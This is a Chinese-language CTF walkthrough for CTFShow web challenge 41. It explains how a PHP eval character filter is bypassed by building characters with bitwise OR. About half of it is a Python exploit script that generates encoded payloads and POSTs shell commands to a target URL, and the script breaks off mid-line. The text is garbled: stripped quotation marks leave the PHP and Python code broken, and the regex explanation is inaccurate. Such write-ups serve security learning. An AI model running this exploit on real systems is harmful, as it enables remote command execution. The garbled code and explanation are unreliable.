CTFShow-Web41~60-Walkthrough

简介：
这段文档提供了解决CTFShow平台中第41至60题Web安全挑战的详细步骤和技巧，适用于网络安全爱好者和技术学习者。 ### CTFShow Web挑战41~60：深入解析与实战技巧 #### 挑战概述 CTFShow是一个提供多样化的网络安全挑战题目的平台，其中包含了大量的Web安全题目供参与者学习与实践。本篇文章主要关注的是CTFShow中的Web挑战第41至60题的解题思路与技术细节，尤其是题目41中的命令注入攻击。 #### 题目背景与目标 在题目41中，参与者需要分析给定的PHP代码片段，理解其逻辑并找到漏洞所在。目标是通过构建特定的payload来实现命令执行，并最终获取到flag。 #### 代码分析 我们来看一下题目提供的PHP代码片段： ```php if(isset($_POST[c])){ $c = $_POST[c]; if(!preg_match([0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-i, $c)){ eval(echo($c);); } } ``` 这段代码的主要逻辑如下： 1. 检查POST请求中是否存在名为`c`的参数。 2. 如果存在，则将该参数的值赋给变量`$c`。 3. 使用正则表达式检查`$c`中的字符串是否只包含数字、小写字母以及一些特殊字符（如`^`, `+`, `~`, `$`, `[`, `]`, `{`, `}`, `&`, `-i）。 4. 如果不包含上述任何一种字符，则执行`eval(echo($c);)`语句，即输出`$c`变量的值。 #### 漏洞分析 问题在于第三步的正则表达式检查，它仅排除了一些特定的字符，而忽略了其他可以用来构造有效payload的字符。具体来说，尽管不能直接使用数字和小写字母，但可以通过**位运算**来绕过这种限制。 #### 解题思路 为了绕过限制并执行任意命令，我们可以使用位运算符“|”（按位或运算符）。例如，如果字符`19`（ASCII码值为`19`）和字符`32`（ASCII码值为`32`）未被过滤掉，那么我们可以通过 `19 | 32` 得到 `51`, 即数字 `3` 的 ASCII 码值。这样，我们就可以构造出任意的 ASCII 码值。 #### 实践步骤 1. **生成可用字符**：编写Python脚本来生成所有可能的组合，以找出那些未被过滤的字符，并能够通过位运算生成有效的ASCII码值。 2. **构建payload**：根据所需执行的命令，使用上一步生成的可用字符构建payload。 3. **执行命令**：将构建好的payload发送给目标服务器，从而实现命令执行。 #### Python脚本详解 下面是一个Python脚本的示例，用于帮助解决这个问题： ```python #-- coding:UTF-8 -- import requests import urllib import re from sys import * if(len(argv)!=2): print(=*50) print(USER:python exp.py ) print(eg: python exp.py http://ctf.show) print(exit: input exit in function) print(=*50) exit(0) url=argv[1] # 生成可用的字符 def write_rce(): result = preg = [0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-i for i in range(256): for j in range(256): if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)): k = i | j if k >= 32 and k <= 126: a = % + hex(i)[2:].zfill(2) b = % + hex(j)[2:].zfill(2) result += (chr(k) + + a + + b + n) f = open(rce.txt, w) f.write(result) # 根据输入的命令在生成的txt中进行匹配 def action(arg): s1= s2= for i in arg: f=open(rce.txt,r) while True: t=f.readline() if t==: break if t[0]==i: s1+=t[2:5] s2+=t[6:9] break f.close() output=(+s1+|+s2+) return(output) def main(): write_rce() while True: s1 = input(n[+] your function：) if s1 == exit: break s2 = input([+] your command：) param=action(s1) + action(s2) data={ c:urllib.parse.unquote(param) } r=requests.post(url,data=data) print(n[*] result